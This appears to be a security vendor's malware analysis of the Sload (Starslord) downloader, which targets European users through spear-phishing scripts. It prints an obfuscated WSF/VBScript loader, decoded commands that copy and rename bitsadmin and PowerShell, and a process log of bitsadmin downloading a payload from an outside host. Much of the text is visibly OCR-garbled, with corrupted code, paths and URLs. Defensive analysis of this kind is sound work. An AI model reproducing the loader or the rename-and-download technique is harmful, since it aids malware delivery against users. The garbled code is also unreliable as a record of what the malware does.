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Sload (also known as Starslord loader) is one of the most dangerous malware strain in
recent years. It usually functions as a downloader, which is a computer virus that collects and
exfiltrates information from the infected device, with the purpose of assessing the target and
dropping a more significant payload if the target seems profitable. Mainly targeting Europe,
Sload has been in active use since at least 2018, where multiple vendors have reported
attacks on targets in the UK and Italy. The malware’s developer/s have taken a unique
approach; instead of using an executable or a malicious document to infiltrate machines,
they use scripts that are native to Windows operating systems, such as VBS and PowerShell
as an initial foothold, tricking users into executing them using spear phishing.

The downloader is actively developed and has been through several iterations; its creator is
constantly changing the first stage script, while the main module remains more or less
consistent. First reports of this malware indicate that it uses a rogue LNK file (Windows
shortcut) to download a PowerShell script, which will eventually download and execute
Sload. Later editions begin with obfuscated WSF/VBS scripts, which are frequently mutated
to bypass AV detection. The initial script employed in attacks repeatedly scores low on
VirusTotal and is designed to bypass advanced security tools such as EDRs.
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Minerva Labs have seen Sload infections coming from Italian endpoints this year, aligning
with the information provided in this tweet. The script we encountered is an obfuscated WSF

script that decodes a set of malicious commands, and once executed, will stealthily

download and run a remote payload in memory. This is achieved using a simple evasion

technique, the script renames legitimate Windows binaries. Both “bitsadmin.exe” and
“Powershell.exe” are copied and renamed, the former is used to download a malicious
PowerShell script and the latter loads it to memory and begins its execution.

The decoded commands (commented by us):

REM copy bitsadmin eo programdasa

1 fo cmd fo copy /Y F2I ci\Windows'\SysWOWéEs\bis .exe

FM cop e

AHvuneds  exe
powerahell
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The obfuscated WSF Script:

<packagex<job id="kNKNa Z2e"><script language="VEScript">
' Versiom: 40.43.5
L]

' Copyright (c) Microsoft Corporation. &All rights reserved
' Windows Software Licensing Management Tool.

- Set ndwPif=WScript.CreateCbhject ("WScript.Shell™)
Wh¥Yu="1|i2.LirviZzR " JexehgevksviL)Si|iZ2ppi. "425z "ppilWvi{
arr=split (Whiu, "dev"}

For Each PYwIhE In arr

BnpMJl=""

For intI = 0 to Len(PYwIhE)}) - 1
BEnpMJl=""+chr (Asc (Mid(PYwIhE,intI + 1 ,1 })+0-4)4+EBnpMJ1l
Nexd

nJwPif.run BopMJl,false,-1

Hext

<fscripts</ioh»</package>

The final payload of this downloader varies, but it was reported to drop Ramnit and Trickbot

banking trojans, both of which are highly hazardous malware that may even lead to
ransomware. Minerva prevents Sload and its subsequent payloads:

[5348] ClWindows\explorer.exe
n Mar 15th 2021 02:55 pm

m [9728] C:\Windows|System32\wscript.exe
i: "C:\Windows\System32\WScript.exe” "C:\Uszers\ I 2
n Jun Tth 2021 04:34 pa by I

- 0 ------------ » 11 "C:\ProgramDatalNvVuneHin.exe" /nowrap /transfer qwDVBSpe http
s:imilanospizzacfavemaria.com/ NN C: Frogra

mDatallagos.doc
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